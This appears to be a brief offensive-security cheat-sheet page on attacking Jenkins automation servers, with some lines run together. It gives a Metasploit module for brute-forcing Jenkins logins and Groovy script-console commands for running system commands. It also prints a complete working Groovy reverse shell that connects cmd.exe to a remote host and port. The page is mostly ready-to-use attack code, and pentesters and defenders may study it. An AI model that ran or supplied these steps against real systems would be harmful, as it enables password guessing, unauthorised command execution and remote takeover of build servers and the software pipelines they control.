Jenkins
"Jenkins is an open source automation server which enables developers around the world to reliably build, test, and deploy their software."
Bruteforcing passwords on Jenkins
msf> use auxiliary/scanner/http/jenkins_loginCode execution on Jenkins
Use the groovy script engine
#For Windows
cmd.exe /c [commmand]
#For Linux
"[command].execute().textUniversal reverse shell
Thread.start {
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}Linux reverse shell
Windows reverse shell
Create a new Project
Metasploit

Last updated